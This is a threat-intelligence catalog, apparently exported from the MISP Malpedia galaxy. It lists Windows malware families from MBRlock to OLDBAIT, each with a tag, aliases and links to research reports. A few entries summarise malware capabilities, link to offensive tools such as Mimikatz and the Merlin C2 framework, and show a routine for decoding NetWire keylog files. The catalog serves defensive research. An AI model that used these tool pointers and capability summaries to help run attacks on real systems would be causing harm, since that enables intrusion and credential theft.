The tag is: misp-galaxy:malpedia="MBRlock"

MBRlock is also known as:

DexLocker

Table 1558. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock
http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html
https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/
https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100
https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d

Mebromi

The tag is: misp-galaxy:malpedia="Mebromi"

Mebromi is also known as:

MyBios

Table 1559. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi
https://www.symantec.com/connect/blogs/bios-threat-showing-again
https://www.webroot.com//blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/
http://contagiodump.blogspot.com/2011/09/mebromi-bios-rootkit-affecting-award.html
http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/

MECHANICAL

The tag is: misp-galaxy:malpedia="MECHANICAL"

MECHANICAL is also known as:

Table 1560. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

Medre

The tag is: misp-galaxy:malpedia="Medre"

Medre is also known as:

Table 1561. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medre
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html

Medusa

Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.

The tag is: misp-galaxy:malpedia="Medusa"

Medusa is also known as:

Table 1562. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/
https://news.drweb.com/show/?i=10302&lng=en
https://webcache.googleusercontent.com/search?q=cache:ZbKznF-dogcJ:https://www.toolbase.me/board/topic/10061-b-medusa-irc-ddos-botnet-bypass-cf-cookie-protections/

Merlin

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

The tag is: misp-galaxy:malpedia="Merlin"

Merlin is also known as:

Table 1563. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin
http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html
http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html
https://github.com/Ne0nd0g/merlin

Metamorfo

The tag is: misp-galaxy:malpedia="Metamorfo"

Metamorfo is also known as:

Casbaneiro

Table 1564. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo
https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html
https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html

Mewsei

The tag is: misp-galaxy:malpedia="Mewsei"

Mewsei is also known as:

Table 1565. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei

Miancha

The tag is: misp-galaxy:malpedia="Miancha"

Miancha is also known as:

Table 1566. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha
https://www.contextis.com//documents/30/TA10009_20140127_-CTI_Threat_Advisory-The_Monju_Incident1.pdf[https://www.contextis.com//documents/30/TA10009_20140127-CTI_Threat_Advisory-_The_Monju_Incident1.pdf]

Micrass

The tag is: misp-galaxy:malpedia="Micrass"

Micrass is also known as:

Table 1567. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

Microcin

The tag is: misp-galaxy:malpedia="Microcin"

Microcin is also known as:

Table 1568. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/
https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf

Micropsia

The tag is: misp-galaxy:malpedia="Micropsia"

Micropsia is also known as:

Table 1569. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://research.checkpoint.com/apt-attack-middle-east-big-bang/

Mikoponi

The tag is: misp-galaxy:malpedia="Mikoponi"

Mikoponi is also known as:

Table 1570. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi

MILKMAID

The tag is: misp-galaxy:malpedia="MILKMAID"

MILKMAID is also known as:

Table 1571. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

MimiKatz

The tag is: misp-galaxy:malpedia="MimiKatz"

MimiKatz is also known as:

Table 1572. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz
https://github.com/gentilkiwi/mimikatz
https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/
http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle
https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

MiniASP

The tag is: misp-galaxy:malpedia="MiniASP"

MiniASP is also known as:

Table 1573. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Mirage

The tag is: misp-galaxy:malpedia="Mirage"

Mirage is also known as:

Table 1574. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

MirageFox

The tag is: misp-galaxy:malpedia="MirageFox"

MirageFox is also known as:

Table 1575. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Mirai (Windows)

The tag is: misp-galaxy:malpedia="Mirai (Windows)"

Mirai (Windows) is also known as:

Table 1576. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai
https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/
https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html
https://twitter.com/PhysicalDrive0/status/830070569202749440

Misdat

The tag is: misp-galaxy:malpedia="Misdat"

Misdat is also known as:

Table 1577. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misdat
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Misfox

The tag is: misp-galaxy:malpedia="Misfox"

Misfox is also known as:

MixFox
ModPack

Table 1578. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox

Miuref

The tag is: misp-galaxy:malpedia="Miuref"

Miuref is also known as:

Table 1579. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref

MM Core

The tag is: misp-galaxy:malpedia="MM Core"

MM Core is also known as:

Table 1580. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

MobiRAT

The tag is: misp-galaxy:malpedia="MobiRAT"

MobiRAT is also known as:

Table 1581. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/

Mocton

The tag is: misp-galaxy:malpedia="Mocton"

Mocton is also known as:

Table 1582. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton

ModPOS

The tag is: misp-galaxy:malpedia="ModPOS"

ModPOS is also known as:

straxbot

Table 1583. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpos
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html
https://twitter.com/physicaldrive0/status/670258429202530306

Moker

The tag is: misp-galaxy:malpedia="Moker"

Moker is also known as:

Table 1584. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moker
https://breakingmalware.com/malware/moker-part-2-capabilities/
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/
http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network

Mokes (Windows)

The tag is: misp-galaxy:malpedia="Mokes (Windows)"

Mokes (Windows) is also known as:

Table 1585. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Mole

The tag is: misp-galaxy:malpedia="Mole"

Mole is also known as:

Table 1586. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mole
https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/

Molerat Loader

The tag is: misp-galaxy:malpedia="Molerat Loader"

Molerat Loader is also known as:

Table 1587. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader
http://www.clearskysec.com/iec/
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf

Monero Miner

The tag is: misp-galaxy:malpedia="Monero Miner"

Monero Miner is also known as:

CoinMiner

Table 1588. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

MoonWind

The tag is: misp-galaxy:malpedia="MoonWind"

MoonWind is also known as:

Table 1589. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Morphine

The tag is: misp-galaxy:malpedia="Morphine"

Morphine is also known as:

Table 1590. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine

Morto

The tag is: misp-galaxy:malpedia="Morto"

Morto is also known as:

Table 1591. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morto
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html
https://www.f-secure.com/weblog/archives/00002227.html
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A

Mosquito

The tag is: misp-galaxy:malpedia="Mosquito"

Mosquito is also known as:

Table 1592. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

Moure

The tag is: misp-galaxy:malpedia="Moure"

Moure is also known as:

Table 1593. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moure

mozart

The tag is: misp-galaxy:malpedia="mozart"

mozart is also known as:

Table 1594. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html

MPKBot

The tag is: misp-galaxy:malpedia="MPKBot"

MPKBot is also known as:

Table 1595. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

Multigrain POS

The tag is: misp-galaxy:malpedia="Multigrain POS"

Multigrain POS is also known as:

Table 1596. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos
https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html

murkytop

a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.

The tag is: misp-galaxy:malpedia="murkytop"

murkytop is also known as:

Table 1597. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Murofet

The tag is: misp-galaxy:malpedia="Murofet"

Murofet is also known as:

Table 1598. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet

Mutabaha

The tag is: misp-galaxy:malpedia="Mutabaha"

Mutabaha is also known as:

Table 1599. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha
http://vms.drweb.ru/virus/?_is=1&i=8477920

MyKings Spreader

The tag is: misp-galaxy:malpedia="MyKings Spreader"

MyKings Spreader is also known as:

Table 1600. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/

MyloBot

The tag is: misp-galaxy:malpedia="MyloBot"

MyloBot is also known as:

Table 1601. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot
https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/

N40

Botnet with focus on banks in Latin America and South America. Relies on DLL Sideloading attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the malware is under active development with updated versions coming out on persistent basis.

The tag is: misp-galaxy:malpedia="N40"

N40 is also known as:

Table 1602. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.n40
http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware
https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector
http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html
https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/

Nabucur

The tag is: misp-galaxy:malpedia="Nabucur"

Nabucur is also known as:

Table 1603. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur

Nagini

The tag is: misp-galaxy:malpedia="Nagini"

Nagini is also known as:

Table 1604. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/

Naikon

The tag is: misp-galaxy:malpedia="Naikon"

Naikon is also known as:

Table 1605. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Nanocore RAT

The tag is: misp-galaxy:malpedia="Nanocore RAT"

Nanocore RAT is also known as:

Table 1606. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/

NanoLocker

The tag is: misp-galaxy:malpedia="NanoLocker"

NanoLocker is also known as:

Table 1607. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker

Narilam

The tag is: misp-galaxy:malpedia="Narilam"

Narilam is also known as:

Table 1608. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam
http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html
https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage

Nautilus

The tag is: misp-galaxy:malpedia="Nautilus"

Nautilus is also known as:

Table 1609. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus
https://www.ncsc.gov.uk/alerts/turla-group-malware

NavRAT

The tag is: misp-galaxy:malpedia="NavRAT"

NavRAT is also known as:

Table 1610. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat
https://blog.talosintelligence.com/2018/05/navrat.html?m=1

Necurs

The tag is: misp-galaxy:malpedia="Necurs"

Necurs is also known as:

nucurs

Table 1611. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs
https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs
https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features
http://blog.talosintelligence.com/2017/03/necurs-diversifies.html
https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors
https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/
https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/

Nemim

The tag is: misp-galaxy:malpedia="Nemim"

Nemim is also known as:

Nemain

Table 1612. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim
https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf

NetC

The tag is: misp-galaxy:malpedia="NetC"

NetC is also known as:

Table 1613. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netc
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

NETEAGLE

The tag is: misp-galaxy:malpedia="NETEAGLE"

NETEAGLE is also known as:

ScoutEagle

Table 1614. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Netrepser

The tag is: misp-galaxy:malpedia="Netrepser"

Netrepser is also known as:

Table 1615. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/

NetSupportManager RAT

The tag is: misp-galaxy:malpedia="NetSupportManager RAT"

NetSupportManager RAT is also known as:

Table 1616. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat
http://www.netsupportmanager.com/index.asp
https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/
https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/

NetTraveler

The tag is: misp-galaxy:malpedia="NetTraveler"

NetTraveler is also known as:

TravNet

Table 1617. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
https://cdn.securelist.com/files/2014/07/kaspersky-the-net-traveler-part1-final.pdf

NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF

The tag is: misp-galaxy:malpedia="NetWire RC"

NetWire RC is also known as:

Recam

Table 1618. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire
http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/
https://www.circl.lu/pub/tr-23/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data
https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/

Neuron

The tag is: misp-galaxy:malpedia="Neuron"

Neuron is also known as:

Table 1619. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron
https://www.ncsc.gov.uk/alerts/turla-group-malware

Neutrino

The tag is: misp-galaxy:malpedia="Neutrino"

Neutrino is also known as:

Kasidet

Table 1620. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino
https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/
http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html
https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet
http://securitykitten.github.io/an-evening-with-n3utrino/
https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/
https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/
http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/
http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html
https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex

Neutrino POS

The tag is: misp-galaxy:malpedia="Neutrino POS"

Neutrino POS is also known as:

Jimmy

Table 1621. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos
https://securelist.com/neutrino-modification-for-pos-terminals/78839/
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

NewCore RAT

The tag is: misp-galaxy:malpedia="NewCore RAT"

NewCore RAT is also known as:

Table 1622. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

NewPosThings

The tag is: misp-galaxy:malpedia="NewPosThings"

NewPosThings is also known as:

Table 1623. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings
https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://asert.arbornetworks.com/lets-talk-about-newposthings/
http://www.cyintanalysis.com/a-quick-look-at-a-likely-newposthings-sample/

NewsReels

The tag is: misp-galaxy:malpedia="NewsReels"

NewsReels is also known as:

Table 1624. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

NewCT

The tag is: misp-galaxy:malpedia="NewCT"

NewCT is also known as:

Table 1625. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

Nexster Bot

The tag is: misp-galaxy:malpedia="Nexster Bot"

Nexster Bot is also known as:

Table 1626. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot
https://twitter.com/benkow_/status/789006720668405760

NexusLogger

The tag is: misp-galaxy:malpedia="NexusLogger"

NexusLogger is also known as:

Table 1627. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger
http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/
https://twitter.com/PhysicalDrive0/status/842853292124360706

Ngioweb

The tag is: misp-galaxy:malpedia="Ngioweb"

Ngioweb is also known as:

Table 1628. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb
https://research.checkpoint.com/ramnits-network-proxy-servers/

nitlove

The tag is: misp-galaxy:malpedia="nitlove"

nitlove is also known as:

Table 1629. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove
https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html

Nitol

The tag is: misp-galaxy:malpedia="Nitol"

Nitol is also known as:

Table 1630. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/

NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: misp-galaxy:malpedia="NjRAT"

NjRAT is also known as:

Bladabindi

Table 1631. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf
http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/
https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
http://blogs.360.cn/post/analysis-of-apt-c-37.html

Nocturnal Stealer

The tag is: misp-galaxy:malpedia="Nocturnal Stealer"

Nocturnal Stealer is also known as:

Table 1632. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap

Nokki

Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

The tag is: misp-galaxy:malpedia="Nokki"

Nokki is also known as:

Table 1633. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

Nozelesn (Decryptor)

The tag is: misp-galaxy:malpedia="Nozelesn (Decryptor)"

Nozelesn (Decryptor) is also known as:

Table 1634. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor

nRansom

The tag is: misp-galaxy:malpedia="nRansom"

nRansom is also known as:

Table 1635. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom
https://twitter.com/malwrhunterteam/status/910952333084971008
https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin
https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/

Nymaim

The tag is: misp-galaxy:malpedia="Nymaim"

Nymaim is also known as:

nymain

Table 1636. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim
https://www.cert.pl/en/news/single/nymaim-revisited/
https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded
https://bitbucket.org/daniel_plohmann/idapatchwork
https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/
https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf
https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim

Nymaim2

The tag is: misp-galaxy:malpedia="Nymaim2"

Nymaim2 is also known as:

Table 1637. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/

Oceansalt

The tag is: misp-galaxy:malpedia="Oceansalt"

Oceansalt is also known as:

Table 1638. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Octopus

The tag is: misp-galaxy:malpedia="Octopus"

Octopus is also known as:

Table 1639. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus
https://securelist.com/octopus-infested-seas-of-central-asia/88200/

OddJob

The tag is: misp-galaxy:malpedia="OddJob"

OddJob is also known as:

Table 1640. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob

Odinaff

The tag is: misp-galaxy:malpedia="Odinaff"

Odinaff is also known as:

Table 1641. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

OLDBAIT

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

The tag is: misp-galaxy:malpedia="OLDBAIT"

OLDBAIT is also known as:

Sasfis

Table 1642. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait
https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
https://www.secjuice.com/fancy-bear-review/

Olympic Destroyer

